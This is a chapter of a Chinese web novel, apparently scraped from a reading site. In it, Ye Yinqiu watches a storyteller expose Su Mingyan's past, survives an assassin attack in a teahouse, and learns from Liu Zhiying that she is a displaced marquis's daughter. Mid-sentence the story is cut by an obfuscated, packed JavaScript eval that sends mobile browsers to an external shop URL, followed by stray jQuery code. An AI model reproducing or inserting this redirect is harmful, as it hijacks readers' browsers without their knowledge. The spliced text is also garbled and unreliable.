对面察觉到叶银秋视线,苏明言装作若无其事,叶银秋从中也瞧不出任何情绪。
方才的小厮上来,“两位客官,这是您二位方才点的,按规矩,百分之二十的收益归王先生所有。”
在这里说书这么赚钱?
叶银秋看向他身后,小厮端上了茶点。楼下的王先生也停了下来,从楼上望下去,这茶点是每个客人都有的,只不过品类不同罢了。
端给叶银秋二人的是红酥糕和她不认识的茶水。小厮上了茶点,“二位客官,此红酥糕乃咱们薰芳楼独家秘制,这碧罗茶可是产自雪域,经由朔州官道运至而来,您在这外头可是尝不到。”
叶银秋和苏明言各拿一块,糕点入口,松软清香,确实是佳品。只是茶水叶银秋喝不出好赖,她看向苏明言,这人面不改色,想必以他的身份这等茶水不足为奇。
楼下的王先生品过茶点,接着方才话道:“话说那北朔皇帝萧长军被杀后,整个北朔群龙无首,不攻自破。大晟就这样顺利接管了北朔。”
王先生重拍惊木,“可事情远没有结束,那安和公主诞下一位北朔皇子,本该随葬萧长军。可不知为何,那小皇子却失踪在北朔皇都,至今下落不明。”
“此后一年,安和公主再嫁苏锦州。诸位可知苏锦州?”王先生在此处留悬念,楼下的看客也乐得捧场,纷纷朝上面砸银子。
“知道,苏家不就是曾经的八大世家之首,只不过因这迎娶安和公主一事,渐渐衰落隐世不出。”
“不错,正是曾经八大世家之首的苏家。你可知为何苏家能成为八大世家之首?苏家当年权势滔天,比之如今的秦家有过之而无不及。”
叶银秋闻言看向苏明言,这人背景势力如此雄厚,可为何还要拉着她一同查案。
“苏家不登帝位,不贪权势,可手中却握着三十万的苏家军。整个大晟无一不忌惮苏家。”
“苏锦州当年执意迎娶安和公主,朝野震惊,苏锦州更是被逐出了苏家。可夫妻二人成婚后琴瑟和鸣,恩爱非常,生下一子,名唤苏昭忻。可好景不长,在生下苏昭忻不到半月光景,苏锦州便与世长辞了。”
“不到一月,苏府来了位苏锦州的外室子。”
众人议论纷纷,互道不解。
“王先生,您方才分明说苏家夫妻二人恩爱非常,何来的外室子?”一位身穿墨绿锦衣的少年问道。
“是啊,您莫非说得是那位秦太后的爪牙苏明言?”身旁人附和。
“正是苏家苏明言!”
王先生表情很是不屑,显然极其讨厌苏明言,非要用刻薄的话贬低了他去。
苏明言可是得罪过那个王先生,却不料心中话道出,被苏明言听见。
“可能京城还没有苏某不曾得罪过的人。”苏明言面不改色。
“我在京城许久,倒也是听过此传闻的。”一位客人端茶讲述。
王先生接着讲到,“那年正值冬日,苏府停灵一月,门外跪着一位约莫十三四岁的少年。大雪纷飞,即使雪已过膝,苏府却仍未迎他入府。”
“苏府之子苏昭忻见之可怜,接纳了他,为他取名苏明言。”
原来苏明言还有这样一段过往,瞧着苏明言的面色,也不曾反驳。叶银秋打量着对面坐着的苏明言,同苏昭忻的面容也有几分相似。
楼下王先生起身便要离去,客人们纷纷挽留,“王先生今日怎的只讲了一段,往日可是长篇大论的?”
王先生不答,提上红酥糕自顾自地走了。王先生走了,在场的客人大多也离去了。可偏偏有人在这个进来,此人很是眼熟,叶银秋仔细一瞧,这人正是昨日在街上瞧见的那位朔州少年。
见着他的客人皆避退左右,恭敬行礼,看来是身份极为尊贵。
瞧着掌柜装扮的人笑着脸迎了上去,“宋世子,您今日怎么有空来咱们薰芳楼了?”
宋世子?莫非是朔州北军宋大将军之子宋十堰。传言宋十堰为人心性单纯,乐善好施,最喜救人于水火,扮演大英雄。
“姓刘的,少在本世子面前装模做样,我让你照顾的人呢?”
刘掌柜悻悻低头,“这……这不是赵姑娘执意要走,小的也留不住啊!”
既然是宋十堰,那他和那名女子应当是不相识的。
“本世子查失踪的倌女,好不容易有点眉目,让你看个人怎么这般难?”
失踪的倌女?倌女身份低微,哪里需要一个世子查探。
一块红酥糕挡住了叶银秋的视线,“这糕点你应该喜欢。”苏明言不知为何递上了一块红酥糕,虽说她确实是喜欢吃,可也不至于连吃两盘。
叶银秋疑惑地接过红酥糕,再看向楼下,宋十堰已经落座他们对面的包厢。
宋十堰刚落座,一群黑衣刺客持刀分别杀向他,还有苏明言。
在坐的客人们四处逃窜,慌不择路。
“苏明言!拿命来!”一袭长刀杀向苏明言。
苏明言提着叶银秋避开斩下来的一刀,那一刀将包厢的围栏斩断,桌案四分五裂。
苏明言右手一推,“跑!”他转身反杀一人。
叶银秋来不及反应,就被苏明言扔下一楼。
她不会轻功!这里足足有十米高!
所幸楼下有块软垫,她只是崴了脚。身后的黑衣刺客冲着苏明言而来,并未理会逃走的她。
逃出酒楼后,外边都是四处逃窜的客人。
叶银秋撑着墙壁,只能缓慢移动。运气不是很好,正好遇上前方被围攻的宋十堰。
就在一旁想要逃离的叶银秋恰巧被黑衣刺客抓住。
一把长刀架在叶银秋脖子上,让人喘不过气。
“宋世子往日里最是怜惜美人,如今你若是放下手中弯刀,我便放她一马。”此人嗓音低沉,是压着嗓子说话且有点耳熟。如此压着嗓子,是她认识的人。
宋十堰眉头紧皱,紧握手中弯刀,对着叶银秋身后刺客,“你放她了,你我有何恩怨何必牵扯旁人!”
不知道这些人为什么老喜欢拿刀划她的脖子,才好的伤口,现在又添了新伤。
“我数三声,你若不放下弯刀,那我这刀便要划破她的皮肤了!”
哐当———
宋十堰的弯刀坠地,四周的黑衣刺客将宋十堰抓住。叶银秋身后的刺客信守承诺,放了她,将宋十堰带走了。
叶银秋靠在墙边,见他们走远,这才松了口气。
摸着脖子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150435|150309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上的新伤,“嘶———”刀伤不深,裂口却很大,只差一点就会伤到动脉,到时候只怕是流血而亡。
叶银秋展开右手,这是块铁令牌,上面没有刻字,材质很特别,更接近于后世的不锈钢材质。按理说,这个朝代不应该有这么强大的技术。
这块令牌是从方才那名刺客腰间偷来的,说不清是谁。
她又想到苏明言,将她扔下楼的那一刻也未曾慌乱,想必也不会有事。
正想着,眼前一黑,一袋麻布却将她罩住。
待她醒来,眼前景象是个陌生的厢房,看呈列更像是哪个客栈的厢房。
面前背对她坐着一名女子,看这背影有些眼熟。
“你醒了,”那女子端着温水转身朝她走来。
她将叶银秋扶起,温水递在叶银秋嘴边,见她抗拒,解释道,“不过是温水,”这人喝了口,表明没有下毒,叶银秋这才试探性喝了口。
“我为何在此?你是何人?”叶银秋直截了当发问,这人不就是昨日见到的那名妓女吗?
她们之间果然有联系。
“你不记得我?”她心中了然,“我想也是,毕竟你恨不得一辈子都不回京才好,若是还记得,又怎么会出现在这里。”
“你认识我?”叶银秋试探问到。
“你我确实是旧相识,既然你不记得了,那你还是快些离开京城吧,要是让侯府的人发现了你,只怕又要让你做些龌龊事了。”
此人话语间同她很是熟捻,眸中神色亦是担忧。
“不行,我今日救你一次,救不了你第二次,你得赶快出城!”正说着就要背着叶银秋走。
叶银秋却推开她,“抱歉,我还得留在京城。”杀害王老头的幕后主使还没有找到,她不能离开。
“你说与我是旧相识,能否同我说说过去的事。”眼前一个知晓原身身世之人,不能放过这个机会。
那女子叹口气,“罢了,你从前就是这般,心中认定之事便一定要做。”
“我名唤柳智英,乃荆州刺史之女。”
荆州刺史?她听王老头提起过,一年前涉嫌贪污,被判绞刑,全家流放。
“你本是侯府千金,小时候却被偷梁换柱,顶替了身份,在荆州一处普通商户人家过活。”
叶银秋心中一顿,她竟然真是侯府千金,那王管家竟然真没有说谎,可为何原身还是不愿意回去,至少比她流浪朔州来得强。
“那个时候,侯府霸占你身份那位害怕你暴露身份,派人来杀你。索性你机敏,逃走了。”
“顺便救下那时刚被抄家的我,但也因此受了重伤。”
“你伤好后便来了京城,半年后却会到荆州,问我愿不愿意一起去朔州。”柳智英扶着她坐下。
看来原身所藏的秘密就在京城,她无论如何也得探一探了。
“我当时执意给我父亲翻案,便拒绝了你。”
“你出发时,身旁还带着一个老兵,姓王。”
她下意识抓紧颈间扳指,柳智英话语间的真相压得她喘不过气来。
“你说往事不再留念,给自己取了个新名字。”
“叫叶银秋。”柳智英神色看不分明,双手握住她冰凉的手。